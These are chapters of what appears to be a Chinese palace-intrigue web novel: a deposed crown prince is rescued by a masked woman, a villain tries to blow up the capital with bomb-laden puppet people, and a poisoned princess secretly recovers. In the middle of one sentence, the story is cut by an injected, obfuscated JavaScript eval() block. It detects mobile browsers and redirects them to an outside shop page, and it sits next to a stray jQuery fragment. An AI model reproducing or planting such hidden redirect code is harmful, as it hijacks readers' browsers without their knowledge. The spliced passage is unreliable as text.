马梁一脸嘲笑道:“太子,你还记得我是谁吗?”他指着瞎掉的一只眼睛问道:“你还记得这只眼睛吗?” “他是因为你才瞎掉的。” 宇文昭冷冷的笑了笑:“原来是你啊。” “都这副模样了就别在端着了,宇文昭,今早宫中传来圣旨,你被废了。”马梁一副小人得志的模样笑道:“你也没有想到你如今会变成这副模样吧。” “当年要不是因为你,我也不会变成如今这副模样,苟延残喘的活着。”他拿着一副被磨的发亮的匕首,对着宇文昭笑道:“放心,我不会杀了你,但我会把你变成和我一样。” “这副人不人鬼不鬼的模样。” “你想怎么样?”宇文昭立马意识到不对劲,“当年你只不过是废了一只眼睛,但是你至少留住了性命。” “如果不废除你的眼睛,你觉得你能够活到今日吗?” “你只是废除了我一只眼睛吗?”马梁情绪激动道:“你明明......你是要了我的命,断了我的根,你知道吗?” 宇文昭连忙解释道:“不是我,我明明只是叫人把你送到......”他恍然大悟,似乎想起了什么,难道是他们......难道他们没有按照我说的...... “怎么,回想起来了,当年就算不是你派人做的,但让我沦落到如今这个地步的人也是因为你,我不就是喝酒喝多了差点侵犯了你的女人吗?难道就是因为你是太子,所以我就应该受到如此重的惩罚。” “被父亲赶出家门,被驱逐出族谱,流落街头。” 他喝声道:“宇文昭,我今日变成这样都是因为你。” “放心,过一会就会好,不会疼的。” “不要,你别过来。” 突然一把飞刀划破,生生的刺入了马梁的胸口,马梁死了,鲜血溅到宇文昭的身上,溅得满脸。 “你是什么人,你也是来杀我的吗?”宇文昭心中十分恐惧,这辈子他从未像今日这般感到如此恐惧过。 “不,我是来救你的。” “救我?”宇文昭看着这个黑衣蒙面之人,心里苦笑,我都到了如今这个地步,居然还会有人来救我,“不,现在我还不能跟你走,我要等一个人。” “你是想等沈贵妃吧?” 宇文昭脸色一变,“你怎么知道?”此人神通广大,居然知道他等的人是沈雨菲,这个人到底是谁。 “你不用等了,那个女人要是知道了你不是圣上的儿子,说不定此刻真筹谋着怎么杀了你呢?” “不可能。”宇文昭一脸激动道:“你别在这里挑拨离间,菲儿怎么可能杀了我呢?” 神秘人笑了笑:“要不我和你打个赌,看看这个女人会不会动手杀了你?” “你一定会输。”宇文昭眼神坚定的说道。 如今再次回想起这一切,宇文昭依旧感到心如刀割,菲儿为什么会背叛我,为什么? 父王厌恶我那是因为我不是他的亲儿子,可是菲儿曾经不是说好了会永远爱我永远不背叛我的吗?为什么连她也是这样,像父王一样的抛弃了我。 神秘人看着宇文昭冷笑道:“我赢了。” “我早就跟你说过,沈雨菲这个女人根本就没有爱情,她爱你是因为你对她有用,你现在没用了,她自然也就抛弃了你。” 那股子冷笑似冰锥一般冷冷的刺入宇文昭炙热的心脏,“是我傻,是我笨,是我亲手把自己的女人送上了龙床,如今想起这些,我又何尝对她不是利用呢?” “身在皇室,何谈什么爱情,我真是可笑。” 宇文昭抬头看了眼神秘人说道:“你为什么救我,我都已经是个废人了,你救了我也得不到你想要的东西。” “那可不一定。”神秘人抬头看了看窗外:“宇文渊未死之前,一切都还未定,将来谁又会成为西晋的王?” “总之不会是我,我已经被逐出王室,被贬为庶人了,又怎么可能再坐上这九五至尊之位?”宇文昭垂头丧气,自从他被册封为太子那日起,周围的人无不对他无比的顺从,大臣们对他也是和颜悦色。 一朝天子一朝臣,如今他被贬为庶人,那些往日了对他和颜悦色之人一夜之间说变就变,见到他就躲得远远的,这么大的落差让宇文昭差点觉得人生无望,因此颓废至今。 如今这个神秘人却又给了他一层希望,“只要你帮我,我可以让你得到沈雨菲,说不定还可以让你坐上这个九五至尊之位。” “怎么样,这样的条件你难道不心动?” 说不心动是假的,宇文昭心里想了想,“沈雨菲虽然欺我,背叛我,但不管怎么样,我还是爱她的,我宁愿她在我的怀里死去也不愿把她让给那个曾经叫父王的男人。” “还有王位,我才是太子,才是未来西晋的王。” 神秘人看着宇文昭沉默不语,心中盘算着,“你忍心看着自己的女人天天去服侍别的男人吗?宇文昭,你还是不是个男人?” 这个人帮我到底是为了什么,宇文昭看着眼前这个神秘人,他不信任任何人,作为自小就在王宫里长大的宇文昭,自然是对一些阴谋诡计司空见惯,每一个人都有自己的立场,那么眼前这个人救我帮我又想从我这里得到些什么呢? 他才不信什么好人乐于助人之类的好事,“说说吧,你帮我究竟有什么目的?” 神秘人停顿了片刻,死死的盯着宇文昭,这个人大家都说他软弱无能,可如今看来似乎和自己想的不一样,难道这么多年都是装的。 这下就更有意思了。 “目的?”神秘人语气沉重:“不管我有什么目的,你所能依靠的就只有我了,宇文昭,做好你该做的事情就行了,其余的事不要插手太多,知道了吗?” 看着宇文昭,雪微陷入了沉思之中,她之所以出手救下宇文昭是为了偿还当年先王后帮助爹爹的恩情,满朝文武,没有一个人敢站出来质疑,只有先王后站了出来,她始终不相信爹爹会是众臣口中的叛国罪人。 就是这么一个善良的人,可她生出来的儿子却并未继承她良善的一面,雪微叹惜了番,先王后仙逝的时候,宇文昭还小,生活在这样吃肉不吐骨头的皇室,能够活下来的人,又有几个是良善之辈呢? “你有没有想过你的母后不是病死的,而是被人陷害致死的呢?” 雪微曾经对先王后之死调查了一番后发现先王后生前所服用的药膳之中有少量的致毒之物,那些毒药短时间之内服用不会让人立即丧失性命,但长时间服用却会让病人的体质变得越来越虚弱,甚至太医查都查不出来。 能够在王宫之中只手遮天收买太医更改医嘱的人必定位高权重,除了那几个人还会有谁呢?再加上当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892862|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年先王后对宁王之死一直耿耿于怀,雪微心中虽然有了怀疑之人,但由于年代久远,所收集到的证据寥寥无几。 “我知道。”宇文昭听闻此言十分淡定,“母后之死与父王有关。” “你知道?” 让雪微觉得匪夷所思的是宇文昭居然就这么说了出来,难道是他查出来什么? “母后并不是病死的,而是中毒致死的。”他眼眸低垂,没有一丝情绪,仿佛在述说一个与他无关之人:“当年我还小,母后身体一直得不到好转,从那个时候开始我就知道了,父王在母后的宫内放有麝香,但父王一直骗我说是安神香。” “父王一直以母后身体不好为由,不让我去母后的宫中想必也是如此吧。” 他抬头看了看神秘人一眼,眼神之中没有一丝忏悔:“你会不会觉得我是一个怪物,明知道父王在母后的香料之中动了手脚却还是一直保持着沉默。” 他讽刺道:“因为那时候父王就许给我太子之位,只要我不告诉母后,他就让我坐上太子之位,是我,是我亲手害了母后。” 雪微有些不明白,既然如此,宇文昭为什么今日把这些事情说了出来,难道他不怕我杀了他吗? “是你在先王后的香料之中添加的麝香吗?” “是,不过这一切都是父王叫我做的,而且我并不知道那就是麝香,一直以为那只是安神香,我是放了麝香但并没有想过要母后死,母后死了我也很难受的。”宇文昭继续说道:“不过我并不后悔,如果再给我一次机会我还是会这么做。” 原来如此,雪微觉得有些可笑,没想到一向良善的先王后生出的儿子居然是这么冷血无情的怪物,她突然有一丝后悔就这么救了他,应该让他去死的。 “你是不是后悔救了我。”宇文昭狂笑道:“我就知道,你一定是后悔了。” “不。”雪微否定道:“疯子就应该由疯子去对待,既然是宇文渊叫你在先王后的香料之中放入麝香,那么杀先王后之人应该是宇文渊而不是你,再说那时候你年纪还小,对宇文渊又如此的信任,自然不会想到他会害你的母后。” “宇文昭,想不想赌一把,赢了,你就可以同时坐拥江山和美人。” “你真的是这么想的?”宇文昭试探性问道,他除了自己不相信任何人,只是眼前这个神秘人让他觉得莫名的忌惮,自己也不知为何会这样:“如果你能够让我坐上王位,我便与你共享这江山。” “好,就这么说定了。”雪微笑了笑,喜欢算计的人算计久了就会觉得所有的人都喜欢算计,宇文昭,可惜你想错了,我要是真的想要这江山何须与你一起谋事,像你这种弑母之人,只要阻碍了自己的路,恐怕连我都会毫不犹豫的杀了吧。 “我可不想到时候连死都不知道怎么死的。” “你好好在这里养伤,别到处乱跑,要是被人发现了太子没死还好好的活着,到时候你不想死都不成。”雪微最后看了眼宇文昭,她对这个人着实没有什么好感。 ...... “少宫主,我们还要与这样的人合作吗?”红袖心里有些谨慎,此人连自己的母后都害,未来难道不会又反过来将我们一军。 雪微知道红袖担心之事,但是敌人的敌人虽然成不了朋友,但是也是依旧可以合作的,宇文昭如今被所有人抛弃,他自然想要重新得到这一切,毕竟体验过权力滋味的人,突然就这么叫他放弃,那是不可能的。 “留着他,也许日后还能帮我们一个大忙?” 红袖点头,她知道少宫主从来都不会做些无用的事,她既然救下宇文昭那肯定是有她自己的计划的。 “最近几日陆邈那边没发生什么事吧。” 雪微借助陆邈的手把青云观贪污一案揭了开来,这下算是彻底断掉了沈雨菲的经济来源,这下沈雨菲可亏大发了,再加上太子被废一事,她的羽翼算是彻底被雪微给折断了。 “近日陆邈一直被叶肃之事缠身,没有功夫来管我们。”红袖得意说道:“温飞自从知道温夫人是假死被合欢宗的人救走之后,目前日夜守在合欢宗宗门口。” “还有那个萧乘风最近也颓废了不少,总之现在镇妖司内一团乱麻,没有功夫找我们麻烦。” “如此甚好。”雪微言语依旧如此淡漠。 “只不过有一事......”红袖沉默了会,不知该讲不该讲。 “什么事?” “淑宁公主最近有了些动作,似乎跟七皇子回京一事有关。” “就知道太子被废,他们这群人不会这样坐以待毙的,好戏终于上场了。”雪微仰头看了看天空,近日阳光明媚,鸟语花香。 “还有就是王爷似乎也参与其中。”红袖声音极低,毕竟少宫主如今可是庆安王王妃,她自然对庆安王的动态稍微了解了一番。 “宇文昌?”每每听到此人,雪微脑壳就疼,“怎么每次都有这人呢?” “这次他又想做些什么?” 红袖回复道:“王爷这段时间一直在联络朝中大臣,暗地里支持七皇子回京。” 雪微轻蔑的笑道:“看来他还是对他前任主人无法忘怀啊,都已经假死了这么久,居然还要和莫家继续牵扯不清。” “继续给我暗中盯着他,不要让他发现,只要他不影响我们的计划,就不必搭理此人。”雪微心想:“三番几次的在我眼前糊弄我,这笔帐我还未与你算呢?宇文昌,希望你不要成为我的阻碍。” “是。” 41. 破坏 自从上次毁了叶肃的老巢,叶肃便如同过街老鼠般东躲西藏,雪微心想了会,还是不能就这样便宜了他,如今京城到处都贴满了叶肃画像,可还是依旧没有抓到此人。 他不仅会易容还会伪装,而且心理素质极强,即使普通的官差走到他的身前估计也是认不出这人的,眼下看来只能引蛇出洞了。 “少宫主,不好了。”锦瑟着急的跑了过来,气喘吁吁的。 “怎么了?”能够让锦瑟都闻之色变的看来一定是发生了什么大事。 “郊外突然出现了一大批蛊人正在往城中走来,城外的守防见状都吓得瑟瑟发抖,拦都拦不住。” “有在这群蛊人之中看到叶肃此人没有?” 锦瑟摇头说道:“没有。” 雪微心想:“叶肃此人心思深沉,如今既然派出了大量的蛊人,那么他一定是躲着背后操控着,他到底躲在哪里呢?” “走,过去看看。” “是。”锦瑟闻言,便连忙在前方带路。 眼下天色渐黑,城内的百姓闻言纷纷都躲在家里闭门不出,好在这群蛊人的数量并不是很多,等到雪微来到城门口的时候,这群蛊人就已经被镇妖司的陆邈所缉获。 叶肃,叶肃此时又再哪里,他不是一个束手就擒的人,雪微心低此时升出一股寒气,她总觉得这件事情很奇怪,怎么可能会这么轻而易举的就让陆邈擒住了呢? 正在雪微冥思苦想之时,这群蛊人爆发出极大的威力挣脱出来,纷纷向四周分散开来。 奇怪,为何不去攻击这些官兵,反而是朝着城内四处逃串,难道是...... 雪微细思恐极,叶肃想利用蛊人炸了西晋城吗? “蛊人身上有炸药。” 想到此处,雪微犹如心惊,“少宫主,如果我们前去阻止,会破坏掉我们这么多年辛辛苦苦筹谋的计划。” 锦瑟前来阻挡,她害怕,害怕少宫主十几年的筹谋毁于一旦,毕竟为了复仇,少宫主付出了多少代价,锦瑟是看在心里的。 “如果不前去阻止,今晚整个西晋城会沦为一片火海,又会有多少百姓被炸死?”雪微摇头道:“锦瑟,我不能眼看着这群百姓因为我的复仇受到任何伤害,要不然,即使我杀光了那些仇人,但同时我也害了更多无辜的人。” “我和那些人又有什么不同呢?”她眼神坚定的看着锦瑟说道:“这不是我想要的。” 锦瑟苦苦劝道:“少宫主,复仇就是要付出代价的,在你选择为家人付仇的时候,你就应该知道,难道不是吗?” “可我不想,锦瑟,你觉得你拦得住我吗?” 锦瑟无奈的让开,看着雪微远去的身影,锦瑟心里觉得有些难受,少宫主,既然你不想完成我们的计划,那么以后的事情就由我独自完成,我不管做任何决定,都与你无关。 “陆大人,这些蛊人身上绑有炸药,叶肃想炸掉整座西晋城。”雪微一字一句的说道:“如今之际,只有把他们集中起来,赶出西晋城外,毁掉。” “你是谁?你怎么知道这些?”陆邈皱着眉头看着蒙面人雪微,此人悄无声息的走到了他的身旁,他居然没有一丝察觉,看来此人的修为在他之上。 “不管我是谁,此刻,我们的目的是挽救西晋城的百姓,陆大人,你要是再不下令,到时候,整座西晋城就会被叶肃摧毁,成为火海。” 她再次相劝:“陆大人,你难道忍心看着城中的百姓遭殃吗?” 陆邈沉思了会,这个女人说得确实有几分道理,且不论她说的真假,依照叶肃的性格,确实什么事都做得出来,他迅速召集所有的官兵,把这群蛊人封住关进笼子里往城外运去。 不管了,现在也想不了那么多,如果真的和这个女人说的一样,叶肃操控蛊人是为了炸毁西晋城,那这件事态的严重性,陆邈想想就可得知。 正当陆邈准备把这群蛊人运往城外之时,突然又来了一波黑衣人,他们目标明确,朝着关着蛊人的铁笼袭来,“看来这个女人说的也许是真的了。”陆邈想了想,要尽快把这群蛊人运出城外,要不然,真的要出大事了。 雪微看着这群黑衣人顿时也觉得诧异,对着陆邈说道:“这群人就交给我了,你赶紧把蛊人送出城外。” “你一个人,可以吗?”陆邈问道。 “快走。”雪微自认为不算是个好心人,但是叶肃沦落到此都是因为她,她不想因为自己想要复仇,就害更多的无辜之人丧失性命。 这群杀手武功虽然平平,但奈何人多,雪微瞬间就被这群人缠住,与他们搏斗了许久。 “你看够了没有,还不滚出来帮忙?” 十一抱着剑坐在一旁,很少看到这个女人出手,不免多看了会,没想到此女人功法确实和常人不一样,他看了这么久,始终还是没有看出她师出哪一派。 “没有我的帮助,我相信你也是可以的,加油。” “废话真多。” 话还未说完,一个黑衣人就朝着十一扑来,本来只想看看热闹的,却没想到被碰瓷了,只要碰到了这个女人,就别想置身事外了。 十一无奈的加入了战斗。 “这么快就解决了这些人,你是不是应该感谢感谢我。” “走。”雪微往城门口走去。 “去哪?”十一感到有些莫名其妙,今晚听闻城中蛊人的事情,他就知道这个女人肯定会来,与她相处越久就越明白她不是个见死不救的人。 本来过来凑凑热闹,谁知还真的碰到了她被一群人围攻,以她的身法,虽然耗时久点,但也是可以突破重围的,但自己也不知怎么的,却还是忍不住去帮她。 十一心里安慰道:“毕竟我们是合作伙伴,相互帮助是正常的。” 往城门口的方向,突然传来一阵巨大的爆炸声响,连带着地面都抖上一抖。 “怎么回事,爆炸了?” 远方的天空之中升起来巨大的蘑菇云,空气之中充满了烧焦的味道。 “难道还是晚了吗?” “生死有命,你不用太过于伤心。”作为一名杀手而言,十一有的时候不太明白为何从她的神色之中看出了些许伤感,杀手不应该都是冷血无情的怪物吗? “你不明白的?” 雪微转身正准备离开,此时十一突然大声说道:“他们没死。” “你说什么?” 她转身便看见陆邈带着镇妖司众人从浓烟之中走了出来,“我就知道,堂堂的陆大人怎么可能会这么容易就被炸死呢?” 刚才愧疚的情绪烟消云散,雪微诚恳的看着十一说了声:“谢谢。”这是她第一次这么认真仔细的看这个人,突然发现此人似乎没有自己想象中的那么讨厌,毕竟曾经在关键时刻,他也是出手救过自己好几次。 “念在你曾经救过我的份上,我就不跟你计较了,宇文昌。”雪微狡黠的笑了笑,本打算找个机会好好捉弄宇文昌一番来报他欺骗自己之仇。 宇文昌当场愣住。 “你是什么时候知道我就是宇文昌的?” 雪微想了想,其实很久之前她隐约就觉得二人似曾相识,只不过没有往那个方面去想,后来细细想来,二人之间神似太多,就大胆猜测了一番,结果确实和她想的一模一样,十一就是宇文昌。 “你快说啊,你是什么时候知道的?”十一自认为自己伪装的很好,甚至有的时候子昂都认不出,这个女人又是怎么发现的呢? “她到底是什么时候就已经知道了宇文昌是我假扮的呢?”十一心里想了又想:“难道这段时日以来,她和自己的相处都是在做戏?” “好啊,这么久了,居然都瞒着我。”十一摇了摇头,觉得自己像个跳梁小丑般在她面前晃来晃去就觉得自惭形秽。 “说说嘛。”十一见雪微沉默不语的继续往王府的方向走去,他继续问道:“你从什么时候开始就已经知道了宇文昌是我装扮的?” “恩......”雪微说道:“很久以前就已经知道了。” “很久,又是多久......” 十一呆住,见雪微人已走远,子昂从背后走了出来:“少主,陆邈带着镇妖司的人已经离开了,现在全城戒严,进出城门之人都得盘查。” “知道了。”十一问道:“叶肃呢?抓到了没有?” “没有。”子昂继续说道:“本来我们的人快要抓住叶肃的,但突然出现了一股势力把叶肃给救走了。” 子昂看了看十一,“少主,你说会不会是王妃派人给救走的?” “她......” 十一否定道:“不......不会是她。” “我了解她,她是不会救叶肃的,她只会想杀了叶肃。” 虽然不知道雪微为什么想杀了叶肃,但是十一隐隐约约之间觉得他们二人之间有着不可化解的仇恨。 十一想起那日雪微站在叶府门口看向叶肃的眼神,似生吞活剥般,让人脊背发凉,想想都觉得可怕,那绝对不是一个互不相识之人应该有的眼神。 “既然不是雪微,那么能够在京城之中在众目睽睽之下救走叶肃的人又会是谁呢?” “另一股势力?” 看来自从太子被废之后,京城之中到变得越来越热闹了。 “多谢主人救我。” 叶肃低头跪在神秘人身前,内心发颤,今日炸毁西晋城的计划被毁,主人一定很不开心,他自觉自己犯了很大的过错:“主人,本来这个计划万无一失的,但是不知怎么回事,中途来了一个神秘的女人对着陆邈说了一段话。” “陆邈便把那群蛊人抓了起来,运往了城外,这才导致这场计划的失败。” 神秘人微怒:“那个女人对着陆邈说了什么?” “属下与他们相隔太远,没有听见他们之间的对话。”叶肃自知自己犯错,因此说话的时候小心翼翼,谨小慎微。 “但今日计划的失败一定和那个女人有关。” 让叶肃想不明白的是中途怎么会跳出来这么一个女人,她又怎么会知道自己的计划?而且她的武功看起来似乎和陆邈相差无几,京城中什么时候多出了这样一个武功高强的女人?他感到十分有趣。 “查出来了她是谁吗?”神秘人问道。 “没有。”叶肃说道:“属下这就去查,一定会掘地三尺也要把此人给找出来,让她付出代价。” “既然没有找出来,那也就不用继续找了。” “为什么?”叶肃觉得奇怪,以往主人行事只要妨碍了他的计划之人,都要掘地三尺把他们找出来杀掉,怎么如今主人却放过了这个女人,难道是主人认识这个女人? “本座是主人还是你是主人,什么时候轮到你来质疑本座说的话了?”神秘人一掌震飞叶肃:“这是给你的警告,记住,永远不要质疑本座的命令,明白了吗?” 叶肃从地上爬起来依旧跪得笔直:“明白。” “滚吧,记得下去领罚。” “是。” 叶肃弯腰低头退下,心中感到愤愤不平:“死女人,别让我抓到你,要不然,我一定把你扒皮抽筋。” 冥狱的刑法十分的残忍,没有完成任务者都要被处以鞭刑,叶肃想到 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银钉上面涂满了剧毒,刚开始抽下去的时候叶肃只会觉得浑身发麻,并不会觉得很痛,但随着时间的推移,麻药散尽,皮开肉绽的地方会从初始疼痛到剧痛,剧痛之中又会伴随浑身发痒,简直是痛痒难忍。 叶肃曾经体会过一次,但就是那一次让叶肃此生记忆深刻,让他没想到的是,人生第二次体验却是拜陆邈与那个坏他大事的女人所赐,这场仇与恨,我叶肃算是记到心里了。 ...... 十一躺在床上辗转难眠,回想起这段时间与雪微的点点滴滴,该不会是从那个时候开始,她就已经开始怀疑了吧。 十一想起几个月前他前去找雪微,但是却蛊毒发作,当时虽然他用修为给压制了下去,但是想要蒙骗过修为与他相差不大的雪微却是有些困难的。 这段时间以来,表面上她一直都表现的十分淡漠,装作什么都不知道的样子,难道她其实一直都知道?十一心里感到有些窒息,如果真是这样,那么她又到底知道些什么? “该不会这段时日我的所作所为她都了如指掌?” “不会的......不会的......” 十一心里否定道:“我做的如此的小心,已经连换了好几个身份,不应该这么快就被她察觉了吧。” 他知道雪微这个女人可怕的程度,所以一直提房着她,她应该是不知道的。 如果她真的什么都知道了却依旧选择什么都不做,十一心中猜测,那就是自己做的事情并没有阻碍的她,要不然她是不会如此的云淡风轻的。 每每想起这个女人,十一都会觉得脑壳疼,她就像一团迷雾般始终让人想看但又看不清楚,“希望我们不要成为敌人吧。”要不然十一绝对想不出雪微会用什么手法来对待他,想到这些十一就觉得心凉。 他不知不觉走到窗前抬头看了看头顶的月亮,今晚的银月似乎被污浊的大气给蒙蔽了,显得哀怨了许多,城门口发生大爆炸,被烧焦的蛊人的气息至今犹在,混杂在空气之中随着微风四处飘扬。 叶肃? 见过残忍的,但是没想到此人远比他想象中的还要残忍,虽然那些蛊人被叶肃炼化得早已经没有了自己的意识,但是身而为人,本能上还是怕疼痛的,更何况是被烈火焚烧。 他亲耳听见了那十几位蛊人在烈焰之中嚎叫就如同当年宇文渊带着骑兵闯入宫中,那场烈焰也是像如今这样染满了半边天。 烈火在热烈的焚烧想烧尽一切,而身处在烈火之中被焚烧的人们却被捆绑住了身子在奋力的扭曲挣扎,想起这一切,十一瞬间便清醒了许多。 他叫宇文康,当年母后意外滑倒,致使他出生的时候早产,太医都说活不下来,但父王却依旧没有放弃,希望他一生康宁,因此给他取名康。 作为宇文家的一族,十一生来便具有斗气,“叔叔,你杀了父王,总有一天,我也会杀了你的,你别忘记了,你的王位是怎么来的。” ...... 雪微回到望月轩却没有见到锦瑟的身影,她心里觉得奇怪,以往这么晚了锦瑟都会在,怎么今日这么特殊的日子,锦瑟人却不见了,难道今日城门口发生的爆炸把叶肃救走的那一批黑衣人是锦瑟? “不会的......一定不会的......”雪微赶紧打消了这个想法,锦瑟跟随她也有四五年了,知道雪微对叶肃恨之入骨,怎么可能会去把叶肃救下来呢? “一定是我想多了。”但那批黑衣人的身法雪微却感觉有些莫名的熟悉,她总觉得似曾相识在哪里见到过似的,虽然只是一眼。 雪微拿出剑比划了一番,恍然大悟:“冥狱......” “没想到消失了快二十年,传说中的冥狱却偏偏在这个时候重出江湖了。” 冥狱的出现无疑不是给雪微重重一击,没想到救走叶肃背后之人居然和冥狱有关,“早该动手杀了他的,要不然也不会惹出如今这么多麻烦。” 如果叶肃真的和冥狱有关,那么以后要是再想杀他自然会是有些困难了,今日西晋城之中发生的这些事想必也和冥狱有关。 难道冥狱还是放不下统一天下的欲望吗?他们想借助蛊人炸掉整个西晋城然后趁机攻入城中,占领西晋城吗? “可恶。” “我到真小看了叶肃,怎么就没查出叶肃会和冥狱有关呢?”冥狱消失江湖这么久,众人都曾以为他们已经败亡了,谁曾想他们会春风吹又生。 毕竟二十年前,冥狱是由爹爹一手击败的,从而退出江湖的,没想到二十年后,他们又卷土重来。 幽暗的月光照耀在雪微的脸上,却依旧看不清她脸上的任何表情,她把自己隐藏在黑暗之中,冷声道:“该来的总会来。” 42. 风起 “母妃,太子被废,辰儿远在漠北,如今端亲王才是那个最有希望坐上太子之位的人选,眼下我们该怎么办才好?” 淑宁屏退所有的宫女太监,从轮椅上缓缓的站了起来,娴妃看着淑宁的双腿,神色惊讶道:“宁儿,你的腿,能够站起来了?” 淑宁点头,笑了笑:“我今日之所以能够站起来,多亏了白大夫。” 虽然走路不是很稳,但在淑宁的心里能够站起来已经是上天赐予她莫大的恩赐了。 “白大夫,本宫的双腿还要多久才能够恢复行走?”淑宁满眼期待的看着雪微,几个月的治疗,她的双腿从刚开始没有一丁点知觉到如今有了一点点微痛的感觉,淑宁脸上藏不住的开心,知道这是即将好转的现象。 心里虽希望自己的双腿能够恢复行走,但比起期待过高,淑宁更加感到害怕的是丧失对生活的希望。 雪微拔掉银针,微笑着说道:“恭喜公主,您的双腿已经好了,只不过您已经躺了四个多月了,要想恢复到以前,从今日开始,您每天都得进行复健。” “好了?”听到雪微的回答,淑宁尝试转动自己的脚趾,有些难以置信,以前她一直期待着自己的双腿能够好转,如今老天爷待她不薄,她的双腿终于好转了,真是可喜可贺。 “白大夫,这段时日多谢你了。” “能够替公主治疗是草民的福气。”雪微低头言语谦虚,淑宁,今日先放你一马。 淑宁想起了两个月前自己生无可恋之时,是白大夫在她的身旁安慰她激励她,想到这里她满眼都充满了感动,看着雪微的眼神都温柔了许多。 “白大夫,本宫真的很感谢你,你救了本宫的命,是本宫的恩人,以后要是再有人胆敢刁难你,你要记得告诉本宫,本宫好替你做主。” 雪微点头:“知道了,公主。” “不过......”她又想了想,不知如何开口是好。 “不过什么?”淑宁抬眼温柔的看着雪微问道:“白大夫,你要是有什么困难可以和本宫说说,看本宫能够为你解决吗?” 雪微摇头说道:“没什么,草民就是觉得能够暗中给公主下毒之人见到公主的双腿好了以后,一定会再次加害公主您的,所以......” “所以你是觉得本宫应该继续装下去,对吗?”淑宁想了想,白大夫的担心也不是没有可能,能够给本宫下毒之人一定是对本宫的言行举止十分的了解,这几个月来,淑宁对自己身边之人一一排查,最终按着线索还是被她给发现了。 “沈雨菲,是你先动的手,就不要怪本宫出手了。” 她笑道:“白大夫,你放心吧,本宫心里有数,清楚背后给本宫下毒暗害本宫之人是谁,本宫发誓,一定不会放过她,也要让她尝尝双腿被废瘫痪在床的滋味。” 雪微表现出一副惊恐的神情,“公主,您知道害您的人是谁?” “可有证据?” “暗害公主,此罪名可不小,应该把他抓起来,扔进宗人府,严刑拷打。” “白大夫,你就放心吧,本宫是不会放过她的。”淑宁脸上的笑容渐渐的淡去,对着雪微说道:“白大夫,你先下去吧。” “是。”雪微微微行礼,“草民告退。” “沈雨菲,你加在本宫身上的痛苦,本宫要加以十倍的让你偿还。”淑宁脸色扭曲,握紧拳头:“太子哥哥死了,你是不是以为就没有人知道你是谁了。” “可惜,上天怜惜,本宫却偏偏还活着,你既然想给本宫下毒就应该下更加厉害的毒,好一次性毒死本宫。” “如今本宫已经是死过一回的人了,还有什么是值得本宫害怕的呢?” 淑宁想到这几个月以来自己身心所遭受的痛苦,心里就愤愤不平,但她还是一如既往的瘫痪,装作什么都没有发生一样坐着轮椅到处行走。 “还好上天开恩,宁儿,如今你的双腿终于恢复了,这对于母妃来说,是莫大的好消息。”娴妃会心一笑,这段时日以来,太子被废,朝中大部分的朝臣都靠向王后和端亲王那边,对于娴妃来说,确实有些闹心。 眼看着端亲王稳坐太子之位,娴妃心里就更加的不安,一来如果辰儿无法表现出争夺储君的能力,那么莫家就有很大的可能放弃他们,从而重新培养新的继承人,二来她与王后之间本就互相看不顺眼,端亲王要是日后真的坐上了王位,王后必定容不下她以及她的孩儿。 如今太子已倒,沈贵妃也失去了依仗,后宫之中能够与王后一战的只有她以及她背后的莫家,娴妃势必不想放过此等机会。 “母妃,写信叫辰弟回来吧。”淑宁抬头看向娴妃,知道她心中的担忧,于是说道:“至于父王那边,母妃请放心,儿臣会前去劝说。” 娴妃点头,笑道:“既然宁儿都如此说了,母妃这就去写信,叫辰儿回来。” 淑宁点了点头,叹了口气,这个母妃,就她那点心思,淑宁看得十分清楚。 今日闲来无事把淑宁召入宫内,她就知道,母妃定是想借由她的手把辰弟召回来,她只不过是看破不说破,毕竟辰弟回来对淑宁来说,也是一件莫大的好事。 至于父王那边,自从淑宁中毒以来,父王对她本就心存怜悯,倒不如趁现在双腿瘫痪的情分上,淑宁前去劝说叫父王让辰弟回来一事,以父王对淑宁的有求必应,应该会答应淑宁的要求。 淑宁摇了摇头,看来母妃定是早已经猜到了这一切,所以今日就把自己召入宫来。 也好,辰弟回来不仅对她还是对母妃而言,都有绝大的好处,淑宁想了想,自己要怎么样才能够通过辰弟得到莫家的支持,只有这样,她才能够搬倒沈雨菲,王后,同时还有端亲王。 让辰弟坐上王位才是对自己对母妃来说最好的结局。 “父王。”淑宁来到文华殿看到正在批阅奏章的宇文渊,她摆了摆手,叫宫人们全都下去,然后自己转动着轮椅,来到宇文渊身前,笑道:“父王,好几个月不见,您看看您,都瘦了。” “瘦了,有吗?”宇文渊宠溺的笑了笑,说道:“宁儿的双腿还没有恢复吗?太医院这帮老东西,孤迟早换了他们。” “好给咱们宁儿出了这口恶气。” “父王可是贤明的君主,怎么能因为儿臣之事就轻易罢免朝中官员呢?要是被旁人听见了,又要责怪儿臣不懂事了。”淑宁一脸撒娇。 “孤看谁敢?”宇文渊喝声道。 “父王要是真的为儿臣考虑,倒不如把辰弟从漠北召回来吧,辰弟在漠北已经待了三年来,儿臣作为他的亲姐姐真的很想很想他。” 宇文渊脸上的笑意渐渐隐去,“宁儿,今日你来此是你母妃叫你来的吧?” “不是。”淑宁摇头,她不明白父王对母妃为何会有这么大的敌意,但潜意识总觉得母妃是不是有什么事情瞒着她。 “儿臣已经好几个月都没有见到父王了,是真的很想很想父王。” “除了想念父王,还想念辰弟。”淑宁低头内心心虚,不敢直视宇文渊:“儿臣作为辰弟的姐姐,自然是有自己的私心的,儿臣想要辰弟回来,不忍心看到他继续再留在漠北苦寒之地受苦了。” “那是父王为了磨练他的毅力。”宇文渊长叹了口气,继续说道:“淑宁,父王知道了,你先回去吧。” “父王,那辰弟......”淑宁话还未说完,宇文渊大声说道:“福贵,送公主离开。” “是。”福贵点头道:“公主,走吧。” 父王到底是怎么了,怎么一提到辰弟,他的脸色就变得如此之快,难道是辰弟做了什么让父王无法原谅的事? 淑宁仔细想了想,到底会是什么事呢?怎么父王母妃都极力的不提,瞒着自己。 “公主,王上最近心情不太好,公主您少在王上面前提七殿下的事。”福贵公公脸色深沉,看上去像是话里有话。 